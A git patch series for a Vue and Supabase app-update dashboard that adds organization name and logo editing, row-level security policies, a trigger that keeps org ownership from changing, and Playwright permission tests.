 locales/en.yml                                |  11 +--
 src/components/TabSidebar.vue                 |   2 +-
 .../settings/organization/General.vue         |  14 +++-
 .../settings/organization/Members.vue         |   8 +-
 src/services/photos.ts                        |  16 ++--
 supabase/migrations/20230815171919_base.sql   |  69 ++++++++---------
 tests/organization_system.spec.ts             |  70 +++++++++++++++++-
 tests/smile.png                               | Bin 0 -> 1446 bytes
 8 files changed, 125 insertions(+), 65 deletions(-)
 create mode 100644 tests/smile.png

diff --git a/locales/en.yml b/locales/en.yml
index 80891b9e70..b1273f0d2e 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -125,6 +125,7 @@ check-on-web: Check on website
 checksum: Checksum
 commands: commands
 confirm-email: Confirm your email
+confirm-email-sent: A confirmation email was sent click to link to confirm your email
 confirm-password: Confirm password
 confirm-public-desc: |-
   Making this channel default will make it send updates to all yours users. 
@@ -151,6 +152,7 @@ device: Device
 device-id: Device ID
 devices: Devices
 devices-using-this-b: Devices using this bundle
+did-not-recive-confirm-email: Didn't receive confirmation email?
 disable-ab-testing: Disabled AB testing
 disable-auto-downgra: Disable auto downgrade under native
 disable-auto-upgrade: Disable auto upgrade above major
@@ -165,10 +167,6 @@ download: Download
 email: Email
 email-address: Email address
 email-does-not-exist: This user does not exist
-resend-email: Resend Confirmation Email
-confirm-email-sent: A confirmation email was sent click to link to confirm your email
-did-not-recive-confirm-email: Didn't receive confirmation email?
-resend: Resend
 enabled-ab-testing: Enabled AB testing
 enabled-progressive-deploy: Enabled progressive deploy
 encrypted: Encrypted bundles
@@ -201,8 +199,8 @@ install-the-capacito: Install the Capacitor plugin
 into-your-app-folder: Into your app folder.
 invalid-auth: Your login are not a match, try again.
 invalid-email: Passed email is not valid
-invite-accepted: Successfully accepted oranization inviation
 invalid-version: Invalid semver version
+invite-accepted: Successfully accepted oranization inviation
 is-emulator: Is Emulator
 is-production-app: Is Production app
 key-admin: Admin
@@ -272,6 +270,7 @@ open-sidebar: Open sidebar
 open-this-link-to-le: Open this link to learn how to test your update
 org-changes-saved: Organization updated successfully
 org-invited-user: Successfully invited user to org
+organization-name: Organization Name
 os-version: OS version
 pages: Pages
 password: Password
@@ -320,6 +319,8 @@ register-heading: Registration
 register-next: Register
 reload: Reload
 removed-apikey: API key has been successfully deleted
+resend: Resend
+resend-email: Resend Confirmation Email
 reset-password: Reset Password
 reset-your-password: Reset your password
 save: Saves
diff --git a/src/components/TabSidebar.vue b/src/components/TabSidebar.vue
index a2ee95ace7..36295f4e3e 100644
--- a/src/components/TabSidebar.vue
+++ b/src/components/TabSidebar.vue
@@ -47,7 +47,7 @@ watch(props, (p) => {
           <div>
             <ul class="flex mr-3 flex-nowrap md:mr-0 md:block">
               <li v-for="(m, i) in tabs" :key="i" class="mr-0.5 md:mb-0.5 md:mr-0" @click="openLink(m.key)">
-                <button class="flex items-center whitespace-nowrap rounded px-2.5 py-2">
+                <button :id="`tab-${m.label}`" class="flex items-center whitespace-nowrap rounded px-2.5 py-2">
                   <component :is="m.icon" class="w-4 h-4 mr-2 fill-current shrink-0" :class="{ 'text-blue-600': isActive(m.key), 'text-slate-400': !isActive(m.key) }" />
                   <span class="hidden text-sm font-medium md:block" :class="{ 'text-blue-600': isActive(m.key), 'text-slate-400': !isActive(m.key) }">{{ t(m.label) }}</span>
                 </button>
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 758a409ea3..004ed23790 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -70,12 +70,17 @@ async function saveChanges() {
     return
   }
 
-  const main = useMainStore()
+  const gid = currentOrganization.value.gid
+
+  if (!gid) {
+    console.error('No current org id')
+    return
+  }
 
   const { error } = await supabase
     .from('orgs')
     .update({ name: name.value })
-    .eq('created_by', (main.auth?.id ?? ''))
+    .eq('id', gid)
 
   if (error) {
     // TODO: INFORM USER THAT HE IS NOT ORG OWNER
@@ -126,8 +131,8 @@ function onInputKeyDown(event: Event) {
         </h2>
         <div>{{ 'You can modify the organization\'s informations here.' }}</div>
         <div class="mb-6">
-          <label for="base-input" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">{{ 'Organization Name' }}</label>
-          <input id="base-input" v-model="name " type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" @click="(event) => onInputClick(event)" @keydown="(event) => onInputKeyDown(event)">
+          <label for="base-input" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">{{ t('organization-name') }}</label>
+          <input id="base-input" v-model="name " :readonly="!organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner'])" type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" @click="(event) => onInputClick(event)" @keydown="(event) => onInputKeyDown(event)">
         </div>
       </div>
       <footer style="margin-top: auto">
@@ -137,6 +142,7 @@ function onInputKeyDown(event: Event) {
               {{ t('cancel') }}
             </button>
             <button
+              id="save-changes"
               class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 mr-2 mb-2 dark:bg-blue-600 dark:hover:bg-blue-700 focus:outline-none dark:focus:ring-blue-800"
               type="submit"
               color="secondary"
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index f9c4ffafd0..2c16bf4f45 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -245,7 +245,7 @@ async function changeMemberPermission(member: ExtendedOrganizationMember) {
     <div class="flex flex-col overflow-y-auto bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-full md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
       <dl class="divide-y divide-gray-500">
         <div v-for="member in members" :key="member.id">
-          <div class="flex justify-between mt-2 mb-2 ml-2">
+          <div id="member-card" class="flex justify-between mt-2 mb-2 ml-2">
             <div class="flex">
               <img
                 v-if="member?.image_url" class="object-cover w-20 h-20 mask mask-squircle" :src="member.image_url"
@@ -255,14 +255,14 @@ async function changeMemberPermission(member: ExtendedOrganizationMember) {
                 <p>{{ 'N/A' }}</p>
               </div>
             </div>
-            <div class="mt-auto mb-auto ml-auto mr-auto text-center">
+            <div id="user-email" class="mt-auto mb-auto ml-auto mr-auto text-center">
               {{ member.email }}
             </div>
             <div class="mt-auto mb-auto mr-4">
-              <button :class="`w-7 h-7 bg-transparent ml-4 ${(organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner'])) && (member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="changeMemberPermission(member)">
+              <button id="wrench-button" :class="`w-7 h-7 bg-transparent ml-4 ${(organizationStore.hasPermisisonsInRole(organizationStore.currentRole, ['admin', 'owner'])) && (member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="changeMemberPermission(member)">
                 <Wrench class="mr-4 text-lg text-[#397cea]" />
               </button>
-              <button :class="`w-7 h-7 bg-transparent ml-4 ${((member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id || organizationStore.currentRole === 'admin') && member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="deleteMember(member)">
+              <button id="trash-button" :class="`w-7 h-7 bg-transparent ml-4 ${((member.uid === main.user?.id || currentOrganization?.created_by === main.user?.id || organizationStore.currentRole === 'admin') && member.uid !== currentOrganization?.created_by) ? 'visible' : 'invisible'}`" @click="deleteMember(member)">
                 <Trash class="mr-4 text-lg text-red-600" />
               </button>
             </div>
diff --git a/src/services/photos.ts b/src/services/photos.ts
index f6c758754d..a82adb61b6 100644
--- a/src/services/photos.ts
+++ b/src/services/photos.ts
@@ -70,18 +70,11 @@ async function updloadPhotoOrg(data: string, fileName: string, contentType: stri
       return
     }
 
-    const { data: status, error: setLogoError } = await supabase.rpc('change_org_logo', {
-      logo: url,
-      org_id: gid,
-    })
-
-    if (setLogoError)
-      console.error('Cannot set org avatar', setLogoError)
-
     const { data: usr, error: dbError } = await supabase
       .from('orgs')
-      .select()
-      .eq('created_by', userId)
+      .update({ logo: url })
+      .eq('id', gid)
+      .select('id')
       .single()
 
     if (!usr || dbError) {
@@ -89,7 +82,8 @@ async function updloadPhotoOrg(data: string, fileName: string, contentType: stri
       return
     }
 
-    await organizationStore.setCurrentOrganizationFromValue(usr as any)
+    await organizationStore.fetchOrganizations()
+    organizationStore.setCurrentOrganization(usr.id)
   }
 
   await uploadPhotoShared(data, fileName, contentType, isLoading, orgCallback)
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 3c0edeab51..8a58ec591e 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -814,37 +814,6 @@ Begin
 End;
 $$;
 
--- TODO: Add grant and revoke for this fn
-CREATE FUNCTION "public"."change_org_logo"("logo" "varchar", "org_id" "uuid") RETURNS "varchar"
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Declare  
-  org record;
-  invited_user record;
-  current_record record;
-Begin
-  SELECT * FROM ORGS
-  INTO org
-  WHERE id=change_org_logo.org_id;
-
-  IF org IS NULL THEN
-    return 'NO_ORG';
-  END IF;
-
-  IF NOT (org.created_by=auth.uid()) THEN
-      if NOT (check_min_rights('admin'::user_min_right, auth.uid(), change_org_logo.org_id, NULL::character varying, NULL::bigint)) THEN
-          return 'NO_RIGHTS';
-      END IF;
-  END IF;
-
-  UPDATE orgs
-  SET logo = change_org_logo.logo
-  WHERE id = change_org_logo.org_id;
-
-  RETURN 'OK';
-End;
-$$;
-
 CREATE FUNCTION "public"."accept_invitation_to_org"("org_id" "uuid") RETURNS varchar
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
@@ -1427,13 +1396,21 @@ BEGIN
    RETURN NEW;
 END;$$;
 
-CREATE OR REPLACE FUNCTION "public"."is_onboarded"() RETURNS boolean
-    LANGUAGE "plpgsql"
-    AS $$
-Begin
-  RETURN is_onboarded(auth.uid());
-End;
-$$;
+CREATE OR REPLACE FUNCTION "public"."prevent_steal_org"() RETURNS trigger
+   LANGUAGE plpgsql AS
+$$BEGIN
+   IF NEW.created_by IS DISTINCT FROM OLD.created_by
+   THEN
+      RAISE EXCEPTION '"created_by" must not be updated';
+   END IF;
+
+    IF NEW.id IS DISTINCT FROM OLD.id
+   THEN
+      RAISE EXCEPTION '"id" must not be updated';
+   END IF;
+
+   RETURN NEW;
+END;$$;
 
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE OR REPLACE FUNCTION "public"."is_onboarding_needed"("userid" "uuid") RETURNS boolean
@@ -2577,6 +2554,18 @@ CREATE TRIGGER force_valid_user_id
    BEFORE INSERT ON "public"."app_versions" FOR EACH ROW
    EXECUTE PROCEDURE "public"."force_valid_user_id"();
 
+CREATE TRIGGER prevent_steal_org
+   BEFORE UPDATE ON "public"."orgs" FOR EACH ROW
+   EXECUTE PROCEDURE "public"."prevent_steal_org"();
+
+CREATE OR REPLACE FUNCTION "public"."is_onboarded"() RETURNS boolean
+    LANGUAGE "plpgsql"
+    AS $$
+Begin
+  RETURN is_onboarded(auth.uid());
+End;
+$$;
+
 ALTER TABLE ONLY "public"."apikeys"
     ADD CONSTRAINT "apikeys_user_id_fkey" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE CASCADE;
 
@@ -2704,6 +2693,8 @@ CREATE POLICY "Allow app owner to read" ON "public"."stats" FOR SELECT TO "authe
 
 CREATE POLICY "Allow org admin to all" ON "public"."org_users" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint));
 
+CREATE POLICY "Allow org admin to update (name and logo)" ON "public"."orgs" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint));
+
 CREATE POLICY "Allow org member (write) to update" ON "public"."app_versions" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint));
 
 CREATE POLICY "Allow org member (write) to insert" ON "public"."devices_override" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
@@ -2720,7 +2711,7 @@ CREATE POLICY "Allow org member to read" ON "public"."channel_devices" FOR SELEC
 
 CREATE POLICY "Allow owner to all" ON "public"."app_versions" TO "authenticated" USING (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"())));
 
-CREATE POLICY "Allow owner to all" ON "public"."orgs" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint));
+CREATE POLICY "Allow owner to all" ON "public"."orgs" TO "authenticated" USING ("auth"."uid"() = created_by) WITH CHECK ("auth"."uid"() = created_by);
 
 CREATE POLICY "Allow owner to listen insert" ON "public"."app_versions" FOR INSERT TO "authenticated" WITH CHECK (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"())));
 
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index f043d8ef43..b9ee375603 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,6 +1,7 @@
 // import type { Page } from '@playwright/test'
 import path from 'node:path'
 import { readFileSync } from 'node:fs'
+import exp from 'node:constants'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import { diff } from 'deep-diff'
@@ -190,6 +191,7 @@ test.describe('Test organization system permissions', () => {
       forceDeviceChannel: false,
       forceDeviceVersion: false,
       changeOrgPicture: false,
+      changeOrgName: false,
     },
     upload: {
       deleteChannel: false,
@@ -205,6 +207,7 @@ test.describe('Test organization system permissions', () => {
       forceDeviceChannel: false,
       forceDeviceVersion: false,
       changeOrgPicture: false,
+      changeOrgName: false,
     },
     write: {
       deleteChannel: false,
@@ -220,6 +223,7 @@ test.describe('Test organization system permissions', () => {
       forceDeviceChannel: true,
       forceDeviceVersion: true,
       changeOrgPicture: false,
+      changeOrgName: false,
     },
     admin: {
       deleteChannel: true,
@@ -235,6 +239,7 @@ test.describe('Test organization system permissions', () => {
       forceDeviceChannel: true,
       forceDeviceVersion: true,
       changeOrgPicture: true,
+      changeOrgName: true,
     },
     owner: {
       deleteChannel: true,
@@ -250,6 +255,7 @@ test.describe('Test organization system permissions', () => {
       forceDeviceChannel: true,
       forceDeviceVersion: true,
       changeOrgPicture: true,
+      changeOrgName: true,
     },
   }
 
@@ -314,7 +320,7 @@ test.describe('Test organization system permissions', () => {
         const { error: error7 } = await supabase.from('devices_override').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
         await expect(error7).toBeFalsy()
 
-        const { error: error8 } = await supabase.from('orgs').update({ logo: null }).eq('id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+        const { error: error8 } = await supabase.from('orgs').update({ logo: null, name: 'Demo org' }).eq('id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
         expect(error8).toBeFalsy()
 
         // const { error: error8 } = await supabase.from('channel_devices').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
@@ -467,6 +473,7 @@ test.describe('Test organization system permissions', () => {
 
           const oldSupabaseState = await getSupabaseProdChannelState(supabase)
 
+          // https://github.com/microsoft/playwright/issues/5470
           if (permission.changeChannelToggle) {
             await Promise.all([
               page.waitForRequest(`${SUPABASE_URL}\/**`),
@@ -824,6 +831,9 @@ test.describe('Test organization system permissions', () => {
           await expect(cameraInputLocator).toHaveCount(1)
           await cameraInputLocator.setInputFiles(path.join(__dirname, 'smile.png'))
 
+          // I had a bug where the current org changed after upload. Make sure this does not happen again
+          expect(await getOrgName(page)).toBe('Demo org')
+
           // Check if the avatar exists
           const avatarLocator = page.locator('#org-avatar')
           await expect(avatarLocator).toHaveCount(1)
@@ -850,6 +860,64 @@ test.describe('Test organization system permissions', () => {
         else {
           await expectPopout(page, 'Insufficient permissions')
         }
+
+        // Let's go and change the org's name
+        await page.locator('#base-input').click()
+
+        if (permission.changeOrgName) {
+          await page.fill('#base-input', 'Demo org temp')
+          await page.locator('#save-changes').click()
+          await expectPopout(page, 'Organization updated successfully')
+
+          const { data: orgSupabaseData, error: orgSupabaseError } = await supabase.from('orgs')
+            .select('name')
+            .eq('id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+            .single()
+
+          expect(orgSupabaseError).toBeFalsy()
+          expect(orgSupabaseData).toBeTruthy()
+          expect(orgSupabaseData!.name).toBe('Demo org temp')
+
+          expect(await getOrgName(page)).toBe('Demo org temp')
+        }
+        else {
+          await expectPopout(page, 'Insufficient permissions')
+          expect(await page.locator('#base-input').getAttribute('readonly')).toBeTruthy()
+        }
+
+        // Now let's go test members. This is hopefuly the last thing to test
+        await page.click('#tab-Members')
+
+        // member-card
+        // After page switch make sure we are still at the same org
+        expect(await getOrgName(page)).toBe('Demo org temp')
+        const allMembersLocator = await page.locator('#member-card')
+
+        const { error: allMembersSupabaseError, count: allMembersSupaCount } = await supabase.from('org_users')
+          .select('*', { count: 'exact' })
+          .eq('org_id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+
+        expect(allChannelsSupabaseError).toBeFalsy()
+        expect(allMembersSupaCount).toBeTruthy
+        expect(allChannelsCount).toBeGreaterThan(0)
+
+        await expect(allMembersLocator).toHaveCount(allMembersSupaCount! + 1)
+
+        const mappedMembers = await Promise.all((await allMembersLocator.all()).map(async (memberLocator) => {
+          const canEdit = await memberLocator.locator('wrench-button').isVisible()
+          const canRemove = await memberLocator.locator('trash-button').isVisible()
+          const email = await memberLocator.locator('#user-email').innerText()
+
+          return { canEdit, canRemove, email }
+        }))
+
+        expect(clientSupabaseUser.data?.user?.email).toBeTruthy()
+        const selfSupabaseUserEmail = clientSupabaseUser.data!.user!.email
+
+        const selfMember = await mappedMembers.find(user => user.email === selfSupabaseUserEmail)
+        expect(selfMember).toBeTruthy()
+        expect(selfMember?.canEdit).toBeFalsy()
+        expect(selfMember?.canRemove).toBeFalsy()
       })
     })
   }
diff --git a/tests/smile.png b/tests/smile.png
new file mode 100644
index 0000000000000000000000000000000000000000..cf38d51bad1a54152c2ec44e479148d598fcdab1
GIT binary patch
literal 1446
zcmV;X1zGxuP)<h;3K|Lk000e1NJLTq002+`002-30ssI20dr;g0004mX+uL$Nkc;*
zaB^>EX>4Tx04R}tkv&MmP!xqvQ$^8=pdCaUGE^svpdya73Pq?8YK2xEOkVm2O&XFE
z7e~Rh;NZ_<)xpJCR|i)?5c~mgb#YR3krMAq3N2!MaCsl+y>qzlK0v6KnPzpw08O{e
zR3a{Bva4d(D|#_N1x(1yGUg;H3E%Z~j{x8AqCCt0-k+;a%~=cxh{Q2wm^SeS@yw=e
zaNZ{lv!bjLpA(Op)FAOA*A<W7I2T+NcxKp4r{;;n#A2b1l{RKYQzM=xj;NYW`9j8H
zmGc&7tz2czKKTnnIelfB>r^91U=d4@AVNVEC6r+!O1n;qg%q8~ef-0&Um}-6t`ZnI
z7Epl(+4Y0}!SC5x`Kd`SDHI1fUmWLS6zJLo8a2oHK6aeO2@re+uJo3_QU_)~Nw2lE
z$Pv)L4P0EeG-VIC+yRE34B3=jDM%&c^T7KVeNz?~yajsJyty^carywHX;#S_;NTD#
zD^T{j&%3+Z=l1WN=KOvDbdPeU*+Cr;00009a7bBm001r{001r{0eGc9b^rhX2XskI
zMF-~#5(@$Y?LYHI0000PbVXQnLvL+uWo~o;Lvm$dbY)~9cWHEJAV*0}P*;Ht7XSbQ
zkV!;ARCwC$n@vm;K@`WQrImgxO+ldH04-oBmR7@o8c{*k1P&&s2fc|06HOq|7)><c
z%)z51=pD{pYCK?KiC~BkO=DW1wV<`4r7eaE6}s(KJX9;Ru<TBEw-nw#J#^pfZs(VI
zvv20@tEBUMCpt)yq5~!X24DaNU;qYS00v+H7D_Vqr;;%$^~J6z-siwZnkHAH7boBT
zJ#4kwO9+olmX{uPudQ36QG}3_AZ#in*UKerc1y$4Zk^A+*%CC=^fWb!jCwqg=m`YP
z&Y85uWibs`=|0Hie9mDqMrF_<gmgZC+QUUt1}#F!?40Qd1bKdF-GBLtlU+DZ&Y(>*
zcdxDQ!>4p=-g0fi0S@V_IoS(74qr7N<zyE~PJ+N_!gOg{t94h4(6XtNE{iGK?y{IT
z1t$snB;JT?HZNn#Z&;EPT-Gwjg@+6knrtd11}E&602qJ)7=Qs7fB_hQ0T_S*7=Qs7
zfB|?Pt6)+*qt9QYzI5f5gu@x((^Q;{QDlr#Z)}Kw+8+w1X;b9=p|D6JT%SyyjsCjw
z`c3L^s`=Q{io?@#d0a4BBTctWIWmlGQ;q@Lapsn$edO~uPP;RV4>~&>Tr$IWo}4W_
z-<ERn<ZN1m&<+2BK)x-+8(9v(H@)-Q+Uwlj6O<rMZJ_cBT(<M0;!+?W1aM1uX{V;&
zxCIv+fQ#aZotheEJ_-R`=b6jr2yaLvVg_F32`r^)!GYJc8s_-HFYxVmjyx|d-`DCH
zS_en%oN6tY)w>)~{9Iu;;o-S<!GQ-VE0|B{8=J_T*+|oOmwsIMR};3al8R#N;y9ky
z(tTqS)veZ{QZ3%3Wmy??r~MRm54o+h*!L-9sE(+Vj<Pae@h+o5#;EJwxpMzEmVH>P
zt+{4u6bTq1^lW_c&}tOpmsWIJW`ue<!Vu>eB=&CU9&R~{CK%rQ!J~CI8O2Tjcw{p1
zOL+drDuX@`8IPe-?RZPG__RYEXL7$uQGG)_#$^*~wO*^ye_s>_b>T?u<&#zqADhse
z%9e~YJveF?nzoDA!YUr>w0f5#%<BYf-RdHFFGJ_8Fzw0w=Q_8Sms_ps${(AX1p1=^
z&y{#1uGz{jUlBsIQX!2eq{$@93lnNpuuAu-RJ-c}c5eY^t3MP@W#K3dK`FOX(5;jZ
zA`prVyw?P;S^yY;0T_S*7=Qs7fB_hQ0hpEk03TLA?<F3C1ONa407*qoM6N<$f~tmr
A8vp<R

literal 0
HcmV?d00001


From d1e8d8ca21014c9a849f9747a608013c4d17764a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 22 Nov 2023 05:37:55 +0100
Subject: [PATCH 70/96] Changes from base into a seperate migration

---
 supabase/migrations/20230815171919_base.sql   | 669 ++----------------
 .../20231121174425_organization_system.sql    | 515 ++++++++++++++
 2 files changed, 581 insertions(+), 603 deletions(-)
 create mode 100644 supabase/migrations/20231121174425_organization_system.sql

diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index fdb21548a7..b28be6f2bb 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -67,23 +67,6 @@ CREATE TYPE "public"."stats_table" AS (
 	"storage" double precision
 );
 
-CREATE TYPE "public"."orgs_table" AS (
-    id uuid,
-    created_by uuid,
-    created_at timestamp with time zone,
-    updated_at timestamp with time zone,
-    logo text,
-    name text
-);
-
-CREATE TYPE "public"."owned_orgs" AS (
-    "id" uuid, 
-    "created_by" uuid, 
-    "logo" text, 
-    "name" text, 
-    "role" varchar
-);
-
 CREATE TYPE "public"."stripe_status" AS ENUM (
     'created',
     'succeeded',
@@ -93,13 +76,7 @@ CREATE TYPE "public"."stripe_status" AS ENUM (
     'canceled'
 );
 
--- @Martin if you are migrating this use this:
--- ALTER TYPE "user_min_right" ADD VALUE 'invite' BEFORE 'read'
 CREATE TYPE "public"."user_min_right" AS ENUM (
-    'invite_read',
-    'invite_upload',
-    'invite_write',
-    'invite_admin',
     'read',
     'upload',
     'write',
@@ -189,38 +166,6 @@ BEGIN
 END;
 $$;
 
-CREATE TABLE "public"."store_apps" (
-    "created_at" timestamp with time zone DEFAULT "now"(),
-    "url" "text" DEFAULT ''::"text" NOT NULL,
-    "app_id" "text" NOT NULL,
-    "title" "text" DEFAULT ''::"text" NOT NULL,
-    "summary" "text" DEFAULT ''::"text" NOT NULL,
-    "icon" "text" DEFAULT ''::"text" NOT NULL,
-    "free" boolean DEFAULT true NOT NULL,
-    "category" "text" DEFAULT ''::"text" NOT NULL,
-    "capacitor" boolean DEFAULT false NOT NULL,
-    "developer_email" "text" DEFAULT ''::"text" NOT NULL,
-    "installs" bigint DEFAULT '0'::bigint NOT NULL,
-    "developer" "text" DEFAULT ''::"text" NOT NULL,
-    "score" double precision DEFAULT '0'::double precision NOT NULL,
-    "to_get_framework" boolean DEFAULT true NOT NULL,
-    "onprem" boolean DEFAULT false NOT NULL,
-    "updates" bigint DEFAULT '0'::bigint NOT NULL,
-    "to_get_info" boolean DEFAULT true NOT NULL,
-    "error_get_framework" "text" DEFAULT ''::"text" NOT NULL,
-    "to_get_similar" boolean DEFAULT true NOT NULL,
-    "error_get_similar" "text" DEFAULT ''::"text" NOT NULL,
-    "updated_at" timestamp with time zone DEFAULT "now"() NOT NULL,
-    "error_get_info" "text" DEFAULT ''::"text" NOT NULL,
-    "cordova" boolean DEFAULT false NOT NULL,
-    "react_native" boolean DEFAULT false NOT NULL,
-    "capgo" boolean DEFAULT false NOT NULL,
-    "kotlin" boolean DEFAULT false NOT NULL,
-    "flutter" boolean DEFAULT false NOT NULL,
-    "native_script" boolean DEFAULT false NOT NULL,
-    "lang" "text",
-    "developer_id" "text"
-);
 
 CREATE OR REPLACE FUNCTION "public"."count_all_apps"() RETURNS integer
     LANGUAGE "plpgsql"
@@ -234,127 +179,6 @@ Begin
 End;  
 $$;
 
-CREATE FUNCTION "public"."is_member_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Declare
- is_found integer;
-Begin
-  SELECT count(*)
-  INTO is_found
-  FROM orgs
-  JOIN org_users on org_users.org_id = orgs.id
-  WhERE org_users.user_id = is_member_of_org.user_id AND
-  orgs.id = is_member_of_org.org_id;
-  RETURN is_found != 0;
-End;
-$$;
-
-CREATE FUNCTION "public"."is_owner_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Declare
- is_found integer;
-Begin
-  SELECT count(*)
-  INTO is_found
-  FROM orgs
-  WHERE orgs.id = org_id
-  AND orgs.created_by = user_id;
-  RETURN is_found != 0;
-End;
-$$;
-
--- aid = absolute id (does not work for owner)
--- uid = user id
-CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(aid int8, uid uuid, email character varying, image_url character varying)
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-begin
-  IF NOT (is_owner_of_org(auth.uid(), get_org_members.guild_id) OR check_min_rights('read'::user_min_right, auth.uid(), get_org_members.guild_id, NULL::character varying, NULL::bigint)) THEN
-    raise exception 'NO_RIGHTS';
-  END IF;
-
-  return query select o.id as aid, users.id as uid, users.email, users.image_url from org_users as o
-  join users on users.id = o.user_id
-  where o.org_id=get_org_members.guild_id
-  AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id))
-  union all
-  select 0 as aid, users.id as uid, users.email, users.image_url from users
-  join orgs on orgs.created_by = users.id
-  where orgs.id=get_org_members.guild_id;
-End;
-$$;
-
-CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS TABLE(gid uuid, created_by uuid, logo text, name text, role varchar)
-    LANGUAGE "plpgsql"
-    AS $$
-BEGIN
-  return query select o.id as gid, o.created_by, o.logo, o.name, org_users.user_right::varchar from orgs as o
-  join org_users on org_users.user_id=get_orgs_v2.userid
-  where o.created_by != get_orgs_v2.userid
-  union all
-  select o.id as gid, o.created_by, o.logo, o.name, 'owner' as "role" from orgs as o
-  where o.created_by = get_orgs_v2.userid;
-END;  
-$$;
-
-CREATE FUNCTION "public"."get_user_main_org_id"("user_id" uuid) RETURNS uuid
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-DECLARE
-  org_id uuid;
-begin
-  select orgs.id from orgs
-  into org_id
-  where orgs.created_by=get_user_main_org_id.user_id
-  limit 1;
-
-  return org_id;
-End;
-$$;
-
-CREATE FUNCTION "public"."get_user_main_org_id_by_app_id"("app_id" text) RETURNS uuid
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-DECLARE
-  org_id uuid;
-begin
-  select apps.user_id from apps
-  into org_id
-  where ((apps.app_id)::text = (get_user_main_org_id_by_app_id.app_id)::text)
-  limit 1;
-
